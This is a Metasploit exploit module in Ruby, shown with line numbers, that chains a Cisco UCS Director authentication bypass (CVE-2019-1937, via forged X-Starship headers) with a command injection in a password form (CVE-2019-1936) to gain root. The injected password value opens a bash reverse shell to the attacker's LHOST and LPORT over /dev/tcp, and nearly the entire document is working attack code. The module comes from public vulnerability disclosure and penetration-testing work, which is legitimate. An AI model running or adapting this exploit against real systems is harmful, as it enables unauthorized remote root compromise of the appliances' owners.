Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Cisco UCS Director Unauthenticated Remote Code Execution',
14
      'Description'    => %q{
15
        The Cisco UCS Director virtual appliance contains two flaws that can be combined
16
        and abused by an attacker to achieve remote code execution as root.
17
        The first one, CVE-2019-1937, is an authentication bypass, that allows the
18
        attacker to authenticate as an administrator.
19
        The second one, CVE-2019-1936, is a command injection in a password change form,
20
        that allows the attacker to inject commands that will execute as root.
21
        This module combines both vulnerabilities to achieve the unauthenticated command
22
        injection as root.
23
        It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
24
        Note that Cisco also mentions in their advisory that their IMC Supervisor and
25
        UCS Director Express are also affected by these vulnerabilities, but this module
26
        was not tested with those products.
27
      },
28
      'Author'         =>
29
        [
30
          'Pedro Ribeiro <pedrib[at]gmail.com>'        # Vulnerability discovery and Metasploit module
31
        ],
32
      'License'        => MSF_LICENSE,
33
      'References'     =>
34
        [
35
          [ 'CVE', '2019-1937' ], # auth bypass
36
          [ 'CVE', '2019-1936' ], # command injection
37
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
38
          [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
39
          [ 'URL', 'https://seclists.org/fulldisclosure/2019/Aug/36' ],
40
          [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-ucs-rce.txt' ]
41
        ],
42
      'Platform'       => 'unix',
43
      'Arch'           => ARCH_CMD,
44
      'DefaultOptions' =>
45
        {
46
          'payload' => 'cmd/unix/reverse_bash',
47
        },
48
      'Targets'        =>
49
        [
50
          [ 'Cisco UCS Director < 6.7.2.0', {} ],
51
        ],
52
      'Privileged'     => true,
53
      'DefaultTarget'  => 0,
54
      'DisclosureDate' => '2019-08-21'
55
    ))
56

57
    register_options(
58
      [
59
        Opt::RPORT(443),
60
        OptBool.new('SSL', [true, 'Connect with TLS', true]),
61
        OptString.new('TARGETURI', [true,  "Default server path", '/']),
62
      ])
63
  end
64

65
  def check
66
    # can't think of anything better then this
67
    res = send_request_cgi({
68
      'uri'    => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
69
      'method' => 'GET'
70
    })
71
    if res and res.code == 302
72
        return Exploit::CheckCode::Detected
73
    end
74

75
    return Exploit::CheckCode::Unknown
76
  end
77

78
  def exploit
79
    # step 1: get a JSESSIONID cookie
80
    res = send_request_cgi(
81
      'uri'    => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
82
      'method' => 'GET'
83
    )
84

85
    if res and (res.code == 200 or res.code == 302)
86
      jsession = res.get_cookies.split(';')[0]
87

88
      # step 2: authenticate our cookie as admin
89
      res = send_request_cgi({
90
        'uri'       => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
91
        'cookie'    => jsession,
92
        'vars_get'  =>
93
          {
94
            'apiName'     => 'GetUserInfo'
95
          },
96
        'headers'   =>
97
          {
98
            # X-Requested-With and Referer headers are needed, else the server ignores us
99
            # The X-Starship headers are the key to this auth bypass vuln, see the References
100
            'X-Requested-With'            => 'XMLHttpRequest',
101
            'Referer'                     => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
102
            'X-Starship-UserSession-Key'  => "#{rand_text_alpha(5..12)}",
103
            'X-Starship-Request-Key'      => "#{rand_text_alpha(5..12)}"
104
          },
105
        'method' => 'GET'
106
      })
107

108
      if res and res.code == 200 and res.body.include?("admin")
109
        if not res.get_cookies.empty?
110
          # if the server returns a new cookie, use that
111
          jsession = res.get_cookies.split(';')[0]
112
        end
113
        print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")
114

115
        # step 3: request our reverse shell
116
        payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}
117

118
        res = send_request_cgi({
119
          'uri'       => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
120
          'cookie'    => jsession,
121
          'headers'   =>
122
            {
123
              # X-Requested-With and Referer headers are needed, else the server ignores us
124
              # The X-Starship headers are the key to this auth bypass vuln, see the References
125
              'X-Requested-With'            => 'XMLHttpRequest',
126
              'Referer'                     => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
127
            },
128
          'method' => 'POST',
129
          'vars_post' =>
130
            {
131
              'formatType'  => 'json',
132
              'apiName'     => 'ExecuteGenericOp',
133
              'serviceName' => 'InfraMgr',
134
              'opName'      => 'doFormSubmit',
135
              'opData'      => payload
136
            }
137
        })
138
        if res and res.code == 200
139
          print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
140
        end
141
      else
142
        fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
143
      end
144
    else
145
      fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
146
    end
147
  end
148
end
149

150